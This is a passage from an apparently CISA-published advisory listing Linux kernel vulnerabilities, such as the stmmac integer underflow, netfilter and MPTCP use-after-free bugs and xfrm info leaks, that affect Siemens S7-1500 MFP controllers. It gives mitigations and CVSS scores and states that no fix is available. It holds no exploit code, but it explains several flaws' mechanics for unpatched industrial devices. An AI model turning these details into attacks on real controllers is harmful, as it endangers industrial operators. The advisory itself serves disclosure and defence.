<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31628</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/CPU: Fix FPDSS on Zen1 Zen1's hardware divider can leave, under certain circumstances, partial results from previous operations. Those results can be leaked by another, attacker thread. Fix that with a chicken bit.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31628">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31634</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rxrpc: fix reference count leak in rxrpc_server_keyring() This patch fixes a reference count leak in rxrpc_server_keyring() by checking if rx-&gt;securities is already set.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31634">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31649</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix integer underflow in chain mode The jumbo_frm() chain-mode implementation unconditionally computes len = nopaged_len - bmax; where nopaged_len = skb_headlen(skb) (linear bytes only) and bmax is BUF_SIZE_8KiB or BUF_SIZE_2KiB. However, the caller stmmac_xmit() decides to invoke jumbo_frm() based on skb-&gt;len (total length including page fragments): is_jumbo = stmmac_is_jumbo_frm(priv, skb-&gt;len, enh_desc); When a packet has a small linear portion (nopaged_len &lt;= bmax) but a large total length due to page fragments (skb-&gt;len &gt; bmax), the subtraction wraps as an unsigned integer, producing a huge len value (~0xFFFFxxxx). This causes the while (len != 0) loop to execute hundreds of thousands of iterations, passing skb-&gt;data + bmax * i pointers far beyond the skb buffer to dma_map_single(). On IOMMU-less SoCs (the typical deployment for stmmac), this maps arbitrary kernel memory to the DMA engine, constituting a kernel memory disclosure and potential memory corruption from hardware. Fix this by introducing a buf_len local variable clamped to min(nopaged_len, bmax). Computing len = nopaged_len - buf_len is then always safe: it is zero when the linear portion fits within a single descriptor, causing the while (len != 0) loop to be skipped naturally, and the fragment loop in stmmac_xmit() handles page fragments afterward.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31649">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31651</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: fix NULL-deref on disconnect Make sure to deregister the controller before dropping the reference to the driver data on disconnect to avoid NULL-pointer dereferences or use-after-free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31651">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31658</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: altera-tse: fix skb leak on DMA mapping error in tse_start_xmit() When dma_map_single() fails in tse_start_xmit(), the function returns NETDEV_TX_OK without freeing the skb. Since NETDEV_TX_OK tells the stack the packet was consumed, the skb is never freed, leaking memory on every DMA mapping failure. Add dev_kfree_skb_any() before returning to properly free the skb.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31658">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31664</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm: clear trailing padding in build_polexpire() build_expire() clears the trailing padding bytes of struct xfrm_user_expire after setting the hard field via memset_after(), but the analogous function build_polexpire() does not do this for struct xfrm_user_polexpire. The padding bytes after the __u8 hard field are left uninitialized from the heap allocation, and are then sent to userspace via netlink multicast to XFRMNLGRP_EXPIRE listeners, leaking kernel heap memory contents. Add the missing memset_after() call, matching build_expire().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31664">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31665</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: fix use-after-free in timeout object destroy nft_ct_timeout_obj_destroy() frees the timeout object with kfree() immediately after nf_ct_untimeout(), without waiting for an RCU grace period. Concurrent packet processing on other CPUs may still hold RCU-protected references to the timeout object obtained via rcu_dereference() in nf_ct_timeout_data(). Add an rcu_head to struct nf_ct_timeout and use kfree_rcu() to defer freeing until after an RCU grace period, matching the approach already used in nfnetlink_cttimeout.c. KASAN report: BUG: KASAN: slab-use-after-free in nf_conntrack_tcp_packet+0x1381/0x29d0 Read of size 4 at addr ffff8881035fe19c by task exploit/80 Call Trace: nf_conntrack_tcp_packet+0x1381/0x29d0 nf_conntrack_in+0x612/0x8b0 nf_hook_slow+0x70/0x100 __ip_local_out+0x1b2/0x210 tcp_sendmsg_locked+0x722/0x1580 __sys_sendto+0x2d8/0x320 Allocated by task 75: nft_ct_timeout_obj_init+0xf6/0x290 nft_obj_init+0x107/0x1b0 nf_tables_newobj+0x680/0x9c0 nfnetlink_rcv_batch+0xc29/0xe00 Freed by task 26: nft_obj_destroy+0x3f/0xa0 nf_tables_trans_destroy_work+0x51c/0x5c0 process_one_work+0x2c4/0x5a0</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31665">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31669</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix slab-use-after-free in __inet_lookup_established The ehash table lookups are lockless and rely on SLAB_TYPESAFE_BY_RCU to guarantee socket memory stability during RCU read-side critical sections. Both tcp_prot and tcpv6_prot have their slab caches created with this flag via proto_register(). However, MPTCP's mptcp_subflow_init() copies tcpv6_prot into tcpv6_prot_override during inet_init() (fs_initcall, level 5), before inet6_init() (module_init/device_initcall, level 6) has called proto_register(&amp;tcpv6_prot). At that point, tcpv6_prot.slab is still NULL, so tcpv6_prot_override.slab remains NULL permanently. This causes MPTCP v6 subflow child sockets to be allocated via kmalloc (falling into kmalloc-4k) instead of the TCPv6 slab cache. The kmalloc-4k cache lacks SLAB_TYPESAFE_BY_RCU, so when these sockets are freed without SOCK_RCU_FREE (which is cleared for child sockets by design), the memory can be immediately reused. Concurrent ehash lookups under rcu_read_lock can then access freed memory, triggering a slab-use-after-free in __inet_lookup_established. Fix this by splitting the IPv6-specific initialization out of mptcp_subflow_init() into a new mptcp_subflow_v6_init(), called from mptcp_proto_v6_init() before protocol registration. This ensures tcpv6_prot_override.slab correctly inherits the SLAB_TYPESAFE_BY_RCU slab cache.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31669">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31670</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rfkill: prevent unlimited numbers of rfkill events from being created Userspace can create an unlimited number of rfkill events if the system is so configured, while not consuming them from the rfkill file descriptor, causing a potential out of memory situation. Prevent this from bounding the number of pending rfkill events at a "large" number (i.e. 1000) to prevent abuses like this.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31670">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31671</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm_user: fix info leak in build_report() struct xfrm_user_report is a __u8 proto field followed by a struct xfrm_selector which means there is three "empty" bytes of padding, but the padding is never zeroed before copying to userspace. Fix that up by zeroing the structure before setting individual member variables.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31671">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
